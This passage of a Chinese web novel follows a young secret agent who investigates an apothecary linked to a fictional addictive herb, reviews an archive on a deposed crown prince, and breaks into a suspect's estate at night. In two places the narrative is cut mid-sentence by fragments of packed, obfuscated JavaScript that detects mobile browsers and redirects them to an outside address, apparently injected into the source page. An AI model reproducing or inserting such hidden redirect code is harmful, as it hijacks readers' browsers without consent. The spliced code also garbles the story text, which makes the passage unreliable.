“好厉害!”宋景熙笑道:“多谢你。其实即便他们还活着,只怕也不会待在汉阳了,因为在汉阳我都找遍了。不知道你的嘴在汉阳外还灵不灵,不过还是谢谢你了,承你吉言!” 洪丹得意洋洋一笑,笑完了,又坐回去,看到天上的月亮,忽然散发出一阵淡淡的担忧:“......话说这都多晚了,我爹怎么还没回来?” 事实证明她的担忧是多余的。没过多久,存善堂门口便飘来一道晃悠悠的光,背着一筐药篓子的洪医官,洪医官提着灯走了进来。 洪丹正靠在柱子边强撑睡意打瞌睡,灯光晃到脸上后,她猛地睁眼,从地上跳起来,蹦蹦跳跳地向洪医官奔去,高兴地小声叫嚷:“爹!你终于回来啦!” 宋景熙原本靠在墙边打瞌睡,因为本就睡得浅,所以很快就被动静吵醒。睁眼时,看到洪医官和洪丹正朝他走来。他惊奇地注意到,洪医官似乎有些腿脚不便,走路时不太平稳,虽然晃动不明显,可细看之下还是能注意到无论是速度还是姿势,洪医官都与跟在他身后的洪丹有着区别。 洪医官走到内堂门前时,宋景熙也站起来走了过来。洪医官将内堂门打开,同时以一种平淡的眼神看向宋景熙,仿佛早就知道宋景熙会来一样,平和地道:“请进吧。” 宋景熙有些惊讶,不是说内堂不许外人进入的吗?难道他干了一天活,已经不算是外人而是员工了?可洪医官又怎么会知道他干了一天的活? 说完这一句,洪医官便将药篓子交到了洪丹手上,洪丹抱着篓子一脸茫然道:“爹,这些药草不用放到里面去吗?” 洪医官道:“暂时不用,丹儿,你先将这些东西归整到库房中去。我与这位客人有些重要之事要交谈,你先暂且就在外面玩一玩,不要进内堂,知道吗?” 洪丹不解道:“啊?爹认识他啊。”她挠了挠脑袋,“这么重要吗?那好吧,我知道了。嘿哟——”一把将药篓背上,兴冲冲地往另一头的库房去了。 洪丹兴高采烈地走了,宋景熙却将心提了起来,心里很是忐忑不安道:“洪医官怎么一副知道我是谁的样子?而且好像知道我的来意一样。重要之事...是我想的那件事吗?还是说,我已经暴露了?这么快?怎么暴露的?果然还是太刻意了吗......” 可是他能有什么办法?全百事正为收烂摊子忙得焦头烂额,也不好意思再去叨扰,默默付了七倍的价钱走了,曳扇台也不给他任何资料,沈本庭那里得到的也很有限。他是没有能力绕过存善堂这么多人进入内堂的,所以只能艰难地打入内部了。 虽然有一定危险。 走进内堂后,内堂的门便被洪医官关了起来。在这短短的时间里,宋景熙已经在脑海中闪过了许多猜测,然而都被他一一否决了。扪心自问,要是让他和洪丹一样,凭直觉从感受出发的话,他并不觉得存善堂是什么水深的地方。 可是如果,如果存善堂真的有不可告人的勾当呢? 现在既然洪医官邀请他,那也只能走一步看一步了。 7. 解忧其二 不出所料,洪英果然也待在内堂中。内堂是一间药房,洪英就站在药柜前,清点着药材,见宋景熙跟着洪医官进来,也并未露出半点异色。 虽说算是洪医官主动“邀请”宋景熙进内堂,但洪医官的表现却仿佛没有看见他一样,自顾自地走向洪英,然后和洪英谈起话来。宋景熙则默默坐到了角落的椅子上,偷听。 片刻后,宋景熙都听累了,因为洪医官和洪英谈论的的确只是普通事宜,没什么其它,也没有他想听到的字眼。打了一个哈欠后,他随意朝那边瞟去,却见洪医官和洪英此刻都直直看着他。 宋景熙放松的后背一下子就紧张起来了。 他此刻正想着,要是有不利的突发情况,那他就打一架好了。好在他一直有背着把刀的习惯,打架的时候,自保能力还是有的。 然而并没有什么突发情况。洪医官转身取了一本书,随即慢慢朝角落走了过来,坐到宋景熙对面的木椅上,将书摆在木桌上摊开,从第一页开始,一页一页慢慢地翻看,再次将对面之人视若无物。洪英也没有再看向宋景熙,而是不知在柜台上捣鼓什么。 宋景熙缓了一会儿,盯着洪医官的书,这是一本很普通的手记,画着各式各样的药草的图片,配有文字注释,大多很常见,连宋景熙都能认识一部分出来。 越翻到后面,宋景熙不自觉地眯起眼睛,因为他不认识的草药越来越多了,都是些稀奇古怪的药草,即便每页上都写了那些药草的名称,但也都是他听都没听说过的。并且洪医官在某一页上已经停留了很久,兀自全神贯注地看着那一页,宋景熙也收回视线,开始琢磨怎么开口打破这一古怪的局面,一阵后,他终于忍不住开口了:“洪医官。您认识我?” 洪医官没抬眼,声音浑厚:“你找我何事?” 没有正面回答,这是不是意味着洪医官的确知道他是谁。宋景熙忖度一阵,道:“不是您说,有重要之事与我谈论?想必您已经知道我此次拜访贵馆的目的了。”他沉了沉气,提了个关键字眼:“金氏药铺。” 洪医官颇为惊讶地抬眼道:“金氏药铺?与它何干?我以为,你是受你父亲之托而来。” 宋景熙也很疑惑:“我父亲?与我父亲何干?” 洪医官道:“...你不知道?当年令尊请我其长子医治顽疾,然而我却未能治好你兄长,我一直愧疚在怀,原以为你是受托再让我登府医治,看来不是?” “为我长兄医治顽疾?是怎样的顽疾?”宋景熙更加疑惑了,他是有个长兄名叫宋景元,大他足足八岁。大概在他不到十岁的时候,是记得长兄生了一场病,在房中几个月闭门不出,除了父亲母亲谁也不见,请了多方名医医治也不见起色。宋景熙那时虽然小,也担心长兄,缠着问什么病,母亲默默流泪,父亲一脸怒气地只说是恶疾。 只是他记得,后来父亲便在家中宣称这病好了,长兄宋景元从房中走出来后,除了最初有些憔悴,往后也和从前健康时一般无二。长兄也对他说,病好了,不要担心。 可是现在洪医官又说,没治好? 洪医官摆上切勿毁我医德的神色,严肃道:“不说,不说!令尊当年让我保守秘密,我又怎敢告诉你。不消多问!”边说,边又翻了一页。 就此作罢,回头去探探长兄的口风就是了。宋景熙道:“那好吧。晚辈实话实说了,我来此是为...” “等等。”洪医官忽然皱起眉头,定定地看着方才翻到的这一页手稿,神色分外严肃,好似十分困扰,半晌过后,朝洪英那边唤道:“英儿!你来看看。” 宋景熙被打断说话,也不恼,也朝洪医官翻到的这页手稿上看去,只见那页上画了一株奇怪的植物,奇怪在哪?就在于这颗植株只画了三片叶子,叶片肥厚,向中团绕,形似花瓣,明明像花,却既没有画出花蕊,更没有画出根茎,以至于似花非花。 这颗植株宋景熙从未见过,虽然他不认识的植株多了去了。 洪英很快走了过来,和宋景熙一样朝手稿上看去,但她和宋景熙所看向的地方不一样。宋景熙看的是那株植物图案,而洪英和洪医官一样,看向的是图案左侧。这里本该记有图中植物的名字,但此刻连一滴墨点也没有。 洪医官道:“英儿,你还记不记得这东西叫什么名字?许久了,连这家伙的名字也忘了。” 洪英道:“记不大请,似乎是叫什么草,解...” 一个“解”字,让宋景熙浑身一定,脱口而出:“解忧草。” 洪医官恍然大悟道:“是,是叫解忧草。你怎知道这名字?” 宋景熙道:“偶然所知。不过,听闻解忧草稀有非常,存善堂为何持有此物?” 洪医官道:“原来很稀有吗?这是几年前金氏药铺所送。存善堂与金氏药铺合作多年,金哲将此作为礼物送予存善堂。” 洪英道:“我记得方才宋公子提及了金氏药铺?” 宋景熙点头道:“没错,我正是奉朝廷之命,为金氏药铺和解忧草而来。金哲涉嫌贪赃,亟待彻查。我从金氏药铺的账本发现了疑点,有一项名为解忧草的栏目不知来源和钱款,而在金哲的记账中,有关存善堂的账本上也出现了解忧草三字,因此这回造访,是想问问二位关于解忧草的具体情况?” 洪英平静地道:“原来如此,总归有一日,这些事是要暴露的。总算有人讨个公道来了。” 宋景熙不解:“何意?” “不着急。”洪医官缓缓道:“四年前,也是存善堂和金氏药铺来往合作十年的日子,那时,金哲提着几吊药材敲了我们的门,说是多年来往,略表心意,让我们收下。他进了内堂以后,我拆开那些药材,都是较为珍贵的东西,但唯有一个,我从未见识过。金哲说,这东西叫做解忧草。我问究竟是何物?金哲便说,此物如同其名,割破叶片后会流出透明汁液,溶于酒水中服用,或涂抹于伤口之上,可教人忘却痛苦烦扰,在医用上便是镇痛之效。我虽以为神奇,却并不敢将其即刻用在病患身上,便决定先用于自身。然而之后,此物的效用却远出了我的想象。换句话说,失控了。” 宋景熙道:“这般神奇?晚辈虽不懂医术,却也听人说过,往往有奇效之物,也定然有其有害的一面。看来这解忧草也未能脱离这句真言?” 洪医官道:“不错,这倒说的很对。我早年尚年轻时,因山间采药不甚摔伤膝骨,以至于行路难以平稳如常人,夜间也时常发痛,一旦发痛则彻夜难眠,由于难以根治,我早已苦其多年,那时金哲对我说此物或可为我解膝骨之痛。” “为了验证解忧草的镇痛之效,一日晚再犯痛症之时,我便按照金哲所说,割破叶片将汁液溶于水中服用。加了解忧草汁液的水无色无味,尝起来并无异常,服用之后确有奇效,不出一刻,痛症便逐渐消缓下去。我本身便为医者,自然知晓我这条腿一旦犯病,什么灵丹妙药都难压下去,而那解忧草却当真解了我的苦。那时我自以为得到了绝世之神药,然而在我继续服用解忧草不久后,我便发现了它不为人知的一面,也是金哲未告知我的一面。只不过由于那些苦痛,导致我已经记不大清发生了什么,还是由英儿来说吧,英儿,你还记得什么。” 洪英沉思片刻,似乎在整理回忆,而后道:“自从叔父以身试药后,叔父便对解忧草着了迷。但凡有一日不尝到解忧草汁液泡的茶水,便会心痒难耐,难以克制自己。而如若超过三日不服用,便会再犯痛症,而且比以往更厉、更甚,原本一倍的疼痛会被激化为两三倍不止。这让我们意识到解忧草虽是奇药,却会让服用之人对其产生极强的依赖作用,进而成瘾,一辈子都得赖在这种闻所未闻的药草身上。无法,叔父不堪疼痛,只能继续服用解忧草,所幸解忧草的汁液效用极强,即便是一滴汁液,也可缓解一日。故而虽然金哲只送了三株解忧草,却也可以服用两三月之久。但某日叔父却对我说,他要将此物戒掉。” 宋景熙一直在认真听着,同时他也在思索着其他事情。听到洪英最后一句话,便道:“戒掉?想戒掉这种霸道非常的毒草,过程应该很痛苦吧,不会将人...逼疯?之类的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773756|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洪医官接着道:“是,我就是要戒掉解忧草。也正如你所说,过程十分痛苦,差点将我逼疯,日夜当中,没有一刻膝骨的病症是不犯的,即便以头叩墙,以指扼肉也无法抵消膝骨疼痛带来的痛苦,整日整夜都让人难以忍受。” 洪英的眼神中流露出一丝不忍,也道:“为了帮助叔父戒掉解忧草,我应叔父之请求,将丹儿以修习的名义送至别处,让存善堂闭馆,又将叔父关至库房,并不得已用铁链锁住。那时叔父已经年逾四十,为戒掉解忧草,吃尽了苦头,险些葬送性命。” 洪医官倒没有什么感触,仿佛经历了这件事的不是他,很平淡地道:“大约二十日,我终于将其成功戒掉。我只不过是服用它服用了不到十日而已,戒掉它,却花了倍于服用它的日子。好在一旦戒除,往后便不会再受其所控,一旦再闻到它的气味,就会心生恐惧,对其退避三舍。” “看来解忧草在这一点上还不算霸道......”宋景熙道:“那,在那二十日之内,除了痛症,还有其它的症状吗?” 此时的宋景熙像一名医者,而被询问的洪医官则像一名病患,洪医官也如实答道:“是有其它症状,但相当轻微,并不重要。” 宋景熙追问道:“请问到底是什么样的症状,即便是轻微的,对我来说也很重要。” “容我想想...”洪医官依旧是如实回答,半晌后,道:“我认为这并不算服用解忧草的症状,是我老了,容易记不住事。不过是那段时间内时不时会忘记一些事情,但很快便会再想起来。不过说来也奇怪,我连如今都很少遗忘事物,那时又怎会出现那样的情况......” 宋景熙咻一下从木椅上弹起来,满脸震惊之色,抵在桌上的手微微颤抖,连瞳孔也在震颤。洪医官惊讶地看着他,好奇于为何宋景熙在听到他的话后会表现得如此吃惊。 显然宋景熙也知道自己的反应太大了,尴尬地眨了眨眼,又缓缓坐了回去,略感后悔道:“抱歉,吓到你们了。” 虽然从洪医官和洪英不变的动作中看出来这两人并没有被他吓到,只是有些吃惊。但宋景熙也是不会解释他为何这样的,在他坐回去的同时,已经想好了糊弄过去的措辞:“想不到居然会有这种神奇之物,真是令我吃惊啊。此种毒物万万不能为世人所知,更不能流通出去,否则...” 洪英突然冷不防道:“宋公子。” 宋景熙手抖了一下,暗叹一口气,心想装傻充愣也不行吗。却听洪英接着道:“宋公子怀疑我们与金哲有所勾结么?” 既然洪英先摆明了,那宋景熙也便大方明说了:“我不得不怀疑。”对于他来说,就洪医官和洪英讲的经历而言,究竟是事实还是故事还有待考察,不能盲目全信。 洪英道:“即便我们不承认,想来宋公子也不会相信。那我们也只能承认了,存善堂的确和金哲有干系,但绝不是勾结。” 宋景熙道:“呃......所以,既然两位也承认贵馆与金哲的解忧草有干系,那么请问,这个干系究竟是好的,还是坏的呢?” 洪英平静地道:“究竟是怎样的干系,恐怕需要宋公子自己去找了。无论宋公子信与不信,存善堂的确与金哲没有任何勾当,非要论到底的话,存善堂也是受害者,或许还只是之一。” 宋景熙垂首思索片刻,抬眼道:我当然会自己找出答案,这是我的职责。不过说实在的,二位包括贵馆都是我的调查对象。既然我要履行我的职责,不知贵馆是否会配合?” 洪医官哈哈道:“存善堂当然是荣幸之至了。” “多谢。”宋景熙微微一笑:“那么,请问贵馆是否还留有解忧草的残本?金氏药铺中只有关于解忧草的不详记录,并无解忧草草本,若贵馆尚有保留,可否拿出来借我一用?” 洪医官道:“遗憾。当年戒解忧草之时,我便已经教英儿将之销毁了。不过...”洪医官沉思片刻,抓了抓灰白的胡须,而后道:“......既然解忧草来自金哲,那金哲府中也许会私藏此物,宋公子或可前去一试。” 8. 解忧其三 次日。 对于洪医官和洪英所说,宋景熙究竟信不信,又信了几分,连他自己也摸不准。在将谈话复盘几遍之后,带着满腔的疑惑,宋景熙来到了曳扇台。 曳扇台设在义禁府范围内,与进出义禁府的门并不同。比起义禁府,曳扇台实在太不起眼,连牌匾也没有,只有一道小破木门。推开小破木门,只是一栋很普通的瓦房,虽比寻常的大了些,依旧是不起眼。但进到民居中,便能看见一道房中门,这便是通往曳扇台的了。 曳扇台紧邻义禁府,就在义禁府的背后,前后左右只有四栋建筑,呈四方格局,左右两栋为书库,均用于置放卷宗和文书,只有朝向曳扇台内部的一侧墙上有窗,门紧锁,正前一栋为前厅,代理官员常驻于此处,给出身不同的曳扇台密使颁布符合他们身份和职责的任务。后方一栋则是内厅,仅台主及台主指定之人可以进入,主要用于集会,两侧还配有卧房,不过一般没人常住,只作临时休憩之所。 颁布任务本来是曳扇台主的职责,但很多年前台主就没有露面过了,常年靠代理官员操办事务。按代理官员自己的话来说,就是他也连台主的脸都没见过。虽然此事不知真假,但对于多年不见踪影的台主,密使们也倾向于相信这位“代理台主”。 据代理官员所述,偶尔有重要事务时,台主也只会让飞鸽传信到曳扇台。由于代理官员已在曳扇台中占据重要地位,所以代理官员如今已被密使们默认为副台主,通常也会这样称呼。 走进前厅后,有位年轻的绿衣男子正在整理书案,见有人进来便抬起头。此人正是代理官员。相貌平平,毫无特点,很容易让人过眼即忘,虽然如此,但神色温和有礼,脸上也时刻挂着微笑。总之是个既不会让人轻易记住,也不会让人心生反感的长相。 宋景熙习惯性地打了个招呼:“早啊,副台。” 代理官员也惯例询问:“近来可好,宋大人。金哲案进展如何?” 宋景熙拉了张椅子坐下,桌上时刻都备着茶水,他给自己倒了一杯,言简意赅道:“卡住了。这金哲案离奇得很。” 代理官员道:“宋大人需要什么帮助吗?” 宋景熙举杯喝了一口,道:“暂且不急,副台,借你书库钥匙一用,我现在需要翻阅翻阅卷宗。” 按照曳扇台的规矩,在没有台主的允许下,任何密使都不得进入左右放置卷宗的书库,而且必须有台主或其它什么人员陪同,更不能在书库中逗留太久,否则会扣俸禄。但这些规矩是用来约束其它密使,宋景熙不在这之列。因此听他这么要求,代理官员大方地摸出一串钥匙,丢到宋景熙手上,宋景熙弯唇一笑:“谢了!” 宋景熙进的是左书库。打开书库大门只需要一把钥匙,但代理官员甩给他这么一大串钥匙是有原因的。曳扇台书库内的卷宗全部分门别类锁在诸多锁箱中,锁箱被一排排摆在架上,每个锁箱都在安静地等待专属于它的钥匙。 木架上只标明了年份,再无其它任何信息。一个年份能对应好多个锁箱,为避免冗余,曳扇台内最多只会保留三十年以内的卷宗,每年台主或代理官员都会检阅一番,挑拣出超过年份的,只留下重要到不能销毁的,其余的归宿便是被燃烧成一地灰烬。 宋景熙有目的地走向标有“文祖二十四年”的锁箱前,试了几把标有相同年份的钥匙,不多时,“咔哒”一声开了锁。 锁箱内尘封多年的档案本被宋景熙取了出来。档案本封面也只写了“文祖大王二十四年记”,让人无法从封页上看出来这本记的是什么,但里面的内容可就不简单了,通篇只讲述了一件案子,那便是二十四年前的废世子案。 二十多年前,当今王上还不是王,那是上一代君主:文祖在位时期。文祖有位令他相当骄傲的儿子,不仅是长子,同时也是世子。世子德才兼备,德高望重,实在是众望所归。世子的父亲文祖也对其十分满意,于是在世子二十二岁时,以身体抱恙之由让世子进行了代理听政。 众人都以为这位贤能的世子会带领国家走向繁荣,起初,世子也的确做到了。但仅仅五年以后,世子便废弃了他之前锐意改革时期的几乎所有政令。这不是世子颓废了,而是他生病了。 代理听政不到四年,世子便出现了头疼的症状,并且随着时间的推移,这种症状演变得越来越频繁,但仍然在可以忍受的范围之内。忍受着忍受着,不知是从哪一天开始,世子发现,他忘记了一些事情。好在被他遗忘的都是最普通、最微末的事情,算不得什么,连宫中御医也说是因处理政务积劳所致,喝喝汤药,适当休息便可。所有人都相信一定会好起来的,包括认真吃药的世子自己。 然而半年过后,世子又是忽然发觉,自己已经遗忘了很多事情了。他开始逐步忘记身边的人和事,起初只是忘记自己很久之前做了什么,后来开始忘记自己不久之前做过的事,慢慢地越来越严重,他开始忘记自己说过什么话,吃过什么食物,看见过什么人。即便他相当努力地回忆、相当努力地记住,但一切都无济于事。再半年以后,世子惊恐地发现,他已经不认识身边的大多数人了,宫女尚宫、内侍内官、朝廷官员,一个一个被他忘记。 这时他仍然记得的,还有他的妻儿,他的父王,他的手足。后来这些人也被他逐一遗忘。看到这些人,看到这些陌生的脸,他只会感到恐惧。 被废前半年,他甚至忘记了自己。也终于丧失了对所有过去的记忆。 彼时的世子已经完全丧失了处理国政的能力,代理听政的政务被彻底废弃。文祖也不得不将世子软禁于东宫殿中,否则世子会因为恐惧现在对他来说完全陌生的建筑和人群而逃走。 从世子被软禁起,朝廷上关于废黜世子的声音不绝于耳,文祖一概不理,并为之大发雷霆。似乎什么也撼动不了文祖的爱子之心。直到世子被软禁多日后的某一日,文祖的轿辇造访了世子所在的东宫殿,想去看望这个得了怪病的儿子。无论怎样,文祖无法割舍对世子的疼爱。然而世子的做法却让一切戛然而止。 世子一边怒吼和嚎叫,一边举着刀砍向文祖的轿辇,而且还砍翻了。虽然最后没有伤及文祖,却砍伤了数名宫人。 是儿子也是世子,但更是臣子。是父亲也是君王,但先是君王。儿子怎能将刀尖指向父亲?臣子怎能将刀尖指向君王? 世子沦为了逆贼。 文祖依旧不舍得废掉这个与早亡的发妻的独子,称世子是恶疾所致,不加计较,只是严加看管他。可惜文祖这样做,朝臣们是不满意的。 斡旋了月余,文祖才同意罢黜世子,颁布了废世子教书。一纸教书,将世子逐出了东宫殿,仍然没有脱离被软禁的境遇。又是月余,新的世子落在了文祖次子身上。 一年过后,文祖已经缠绵病榻彻底不能起身,不得不将政务全权交给新世子代理。彼时废世子却再次提着刀,闯入了东宫殿,和东宫殿的新主人打了一架。这次废世子没有空手而归,他削下了新世子的一缕额发,而后很快被冲进来的宿卫兵控制。这次,文祖一改往日宽容,褫夺了废世子的爵位和封号,将其贬为庶人,流放海岛。不久之后,文祖病逝,新世子登基。新王念在昔日手足之情,赦免罪行既往不咎,为其恢复名位,并召回已是庶人的废世子。可惜,废世子在乘船离开海岛时,不幸发生意外,连船带人葬身海底了。 这是世人所知的废世子的结局。 可对于宋景熙来说,这不是真相。 意外是真的,但葬身海底不是真的。事实上,废世子不仅没死,还在几年后回到了汉阳,成为了曳扇台的新主人。 后来,已经成为曳扇台主的废世子搬到了汉阳城外的眉寿山上久居。再后来的后来,因为一场因缘际会,宋景熙成了曳扇台主的徒弟,被收入了曳扇台中,也就是说,当年的废世子、如今的曳扇台主,就是宋景熙的老师。 宋景熙将卷宗合上,又将锁箱重新上好锁,回到正厅时,代理官员依旧是笑眯眯的模样。宋景熙走上前,道:“副台,我心中有不少疑惑未能解开,不如借此机会,听我口述,向你述职如何?” 代理官员微笑道:“宋大人请讲。” 片刻后。 宋景熙将前两日的经历细致地讲了一遍。听罢,代理官员也不知是真感慨还是假感慨,道:“果然离奇得很,解忧草这样的,的确闻所未闻。宋大人实在辛苦,困扰宋大人的疑惑又是什么呢,是解忧草的来源?还是担心这是一场阴谋?” 宋景熙道:“皆非。我全部的疑惑都在存善堂当中。” 代理官员十分认真地道:“请宋大人明示。” 宋景熙伸出一根指头,道:“第一,不知副台是否注意到了洪医官所述的矛盾之处?起初洪医官便仿佛认得我,还邀我进内堂商议,而后解释是因为我家中的原因。但洪医官为我长兄医治当年,我也才不过十岁,如今十二年过去,洪医官究竟是如何识得我的?我似乎还没有出名到能让汉阳人人都认得我这张脸。” 代理官员略微点头,评价道:“此点存疑。” 宋景熙又伸出第二根手指,道:“第二,如若当真只是为了我长兄之事而邀我商议,那为何要支开洪丹?难道这件事对于洪丹来说是秘密、是不能为她所知晓之事吗?显然并不是。依洪医官自己所述,在他戒掉解忧草的二十日当中,他要求洪英将洪丹以修习的名义送离了存善堂,所以我认为符合‘需要向洪丹隐瞒‘这项条件的事情只有一个,那便是关于解忧草。因此,洪医官从一开始,便知道我是为了解忧草而来,但他对我撒了一个谎言。” 代理官员再评价道:“合理。” 宋景熙再次伸出第三根手指,道:“第三,进内堂后,洪医官便拿出一本手记翻阅,这本手记是他自己所作,而他在翻到画有解忧草图案那一页时,却没有任何标注,连名字也没有记下。洪医官甚至想不起来解忧草的名字,只能向洪英询问。但试问,一个经历了解忧草那样折磨的人,会轻易地忘记造成了他的痛苦的罪魁祸首的名字吗?甚至当初连名字也不曾记下?由此看来,洪医官那根本就是故意翻出此书,又故意在我面前提起解忧草,来引导我走入他们的对话。” 没等代理官员评价,宋景熙握拳总结道:“所以,洪医官和洪英上演这么一出,究竟是在谋算着什么?为什么要对我演这一出?对于他们来说,又有何利可图?” 代理官员答道:“也许他们和金哲有所勾当,看来将两者栓在一起的,正是解忧草。” 宋景熙道:“那我为何能从存善堂中周全地走出来?如果他们真的和金哲一样心里有鬼,又怎会容许我继续查下去。” 代理官员道:“宋大人,因为你到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773757|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 访存善堂之时并未隐瞒身份,存善堂内的病患也见到了你的脸,如果你消失了,存善堂也会陷入危难。所以他们选择将你引入金哲府中,一旦你选择隐瞒众人秘密潜入,那么他们便能来一出瓮中捉鳖。” 宋景熙焦躁地从座椅上站了起来,来回踱步道:“不是的,不是的...不对,副台,虽然你说的也有道理,但你还没有明白我的意思,因为这根本说不通。我能确保我在金哲那里没有暴露,金哲是不会知道是谁闯进了他的药铺,也许金哲自己现在还在奇怪到底是仇家干的,还是哪个胆大的盗贼干的以至于他只能自认倒霉。既然金哲不知道有人已经因为解忧草而盯上了他,那他又怎会和存善堂串通一气来抓住我。所以存善堂本来是不应该知道有人在调查解忧草,更不应该知道是我在调查解忧草。但从我方才所举的三条来看,存善堂分明知晓,而且还故意设局让我跳入他们的计划,不仅如此,还演技拙劣,漏洞百出,似乎是故意这样表现,好让我能够尽早发现,存善堂为何要这样做?为何要费尽心机引我入局?!” 代理官员居然被说得沉默了,半晌,默默道:“是啊,为什么呢。” 宋景熙知道自己焦躁过了头,但他现在确实冷静不下来,因为一个大胆的猜测已经在他脑海中成型了。他手扶着椅子,凝视着代理官员,一字字道:“副台,我也不想说些废话了。台主他是不是...没死?眉寿山上没找到他的尸身是因为他根本就没死,他根本没在那场山火里丧生!” 其它密使们一直不知道的是,迄今为止,台主已经消失了六年了,而且是伴随着那场眉寿山大火消失的。而这件事,只有宋景熙和代理官员知道。由于台主从前就神出鬼没踪迹不明,代理官员又一直打理有序,所以除了宋景熙以外的密使,甚至没有讨论过台主是不是真的消失了。 说到最后一句,宋景熙的声线都不自觉地颤抖了起来:“他没死又是去了哪里?为什么不告诉我,现在是......回来了??” 代理官员摇摇头道:“不,宋大人。我不知台主究竟是否生还,但台主他的确一直未曾回来过,直到现在也没有消息。” 宋景熙再次焦躁地在正厅里来回踱步,他绕着正中的集议桌绕了好几圈,代理官员静静地坐在左副位上,等到宋景熙一脚刹住,坐回代理官员对面的位置。代理官员微微一笑:“宋大人。凡事莫急。” 宋景熙也微微一笑,尽管笑容难免带上了情绪:“副台,请恕我无法接受你的说法。台主究竟是什么时候回来的?一回来便要算计我吗。这次的金哲案任务并不是副台你自行颁布的,而是台主让你交给我的,并且他已经去过了存善堂,是他让洪医官和洪英那么做的,对吗?如若不然,该怎么解释我的疑问?” 代理官员罕见地叹了一口气,随即平静地道:“宋大人,你猜的很对。但是,只有台主能这样做到这些吗?” 宋景熙一愣。 “曳扇台真正听命于谁,难道宋大人不清楚吗?无论是你我还是台主,甚至于曳扇台,都只是为了国君而存在。宋大人分明很清楚。” 宋景熙没有说话,他咬咬下唇,一言不发。没错,代理官员说的一点也不错,他忘记了,他们这群人的存在只是为了坐在御座上的君王而已。台主不在了,不代表曳扇台就真的没有头儿了,比曳扇台主权力更大的,不还有王上吗?王上难道就不能下命令了吗,没这个道理。 “主上决定重新调查废世子案。无论是对金哲还是存善堂的调查,都是主上的手笔。在你之前,主上已经派人和存善堂接触过了,派你再去,只是为了以此为契机验明你的能力。在曳扇台,几乎每个密使都要经历这一考验。” 这话打击了宋景熙一下,他嘴唇也咬得更紧了,也意识到自己真有些操之过急了。的确所有疑问都在将他往“有人在制造这一场为他设计的任务”引导,他这样的猜测也并没有错,只是他忘记了能做到设计任务的人不是只有台主,误将设计者的名头安错了人。 代理官员虽然大不了宋景熙多少岁,但多年的识人经验让他轻易看出宋景熙此刻有多困窘和懊悔。曳扇台中有不少年轻且出身寒微的密使,他们中的大多数人也许一辈子也不会被外人知晓身份和名字,所以总是希望自己能在曳扇台的卷宗上留下浓墨重彩的一笔,几乎没人能抗拒这种成就感。 在代理官员看来,宋景熙又能有多例外呢?他加入曳扇台已有好几年,但台里从未给他发布过例行公事以外的事务。严格来讲,金哲案应该是宋景熙第一次有“格调”的秘密任务,他不可能不希望通过这件案子来向曳扇台证明自己的实力。 半晌后,宋景熙闷声道:“我明白了。” 代理官员试图安慰他:“宋大人且听我说。换做寻常人,也不一定想得到这些,即便是猜错了人又如何,谁会在一开始不犯任何错?而且能意识到这样多,说明宋大人已经相当合格了,曳扇台不会忘记你的功劳。” 宋景熙搓了搓脸,道:“你说得对...但这件案子本身漏洞便十分明显,换旁的密使来做,也不会比我差,而且还会比我做得更好。我知道我和那些经验老道的密使们的差距,认清这差距没什么不好。虽然但是,副台,还是多谢你。” 他说完,又抬起头格外坚定地道:“不过,金哲的案子,还是要查到底。我要去金府。” 9. 解忧其四 隔日。子时。金宅墙外。 金宅坐落于城外,周边空旷无比,离城门有一定距离。也不知金哲为何选择将宅邸安在城外,也许是买不起城内的宅子,也许是为了方便干些见不得人的事。不管怎样,宋景熙都懒得去猜测,他已经在金宅外面的墙角蹲了半天了。 不是他不知道该怎么进金府,他早就去找了全百事,万能的全百事为他提供了金府的最佳潜入点,而这个潜入点就是他现在蹲着的地方。之所以迟迟不翻进去,是因为金府现在的状态和他想的有点不一样。 金哲就住在内院,而内院正房的灯居然还亮着。金宅本就不算大,只有前院和后院,以及几个小别院,内院一亮,整个金宅似乎都亮着,更别提前后院居然还分别各有一队人守着了,一队各四五人,交换巡逻,摸鱼者居多,看着装打扮并非是专业巡逻人士,而是宅邸中仆役临时组建而成的。 宋景熙十分为难,金哲大半夜的不睡觉,打着灯是在做什么?难不成金哲已经对有人在调查他有所察觉了?怕有人再到他府上来查?这么谨慎,更可疑了,一定有鬼。他暗自冷笑一声,以为他会就此放弃么,完全错了,金哲这样做,正合他意。 不出所料,巡逻队果然没有注意到无人在意的仓库角落里,一条黑漆漆的人影已经在墙头蓄势待发了。宋景熙双脚甫一落地,便钻进仓库和墙的夹角处,刚躲进阴影处,便闻到一股数种药材混合的味道。 那是从仓库中溢出来的味道,仓库的窗户居然开着一条缝,没有关严实。这味道,倒和存善堂的内堂味道有些相似。 金哲本身也算个药材贩子,家中仓库拿来存放药材很正常。宋景熙心想,这里多半不会有他想找的解忧草。要是金哲把秘密放在这么容易被闯入的地方,那真是蠢到家了。 再说了,他手上又没有照明的火源,进去了也是白搭。 就在他准备放弃进入仓库时,余光却瞥见前院那边的灯火已经进到了内院,并且在朝仓库这边移动。 巡逻队为什么叫巡逻队?因为它巡逻的就是整个金宅,仓库这里怎么可能不过来?只是巡逻到这里的频率很低罢了。也是他倒霉,巡逻队也不知为何想到来仓库察看一番,或许是一时兴起。 不好好摸鱼,这么负责干什么! 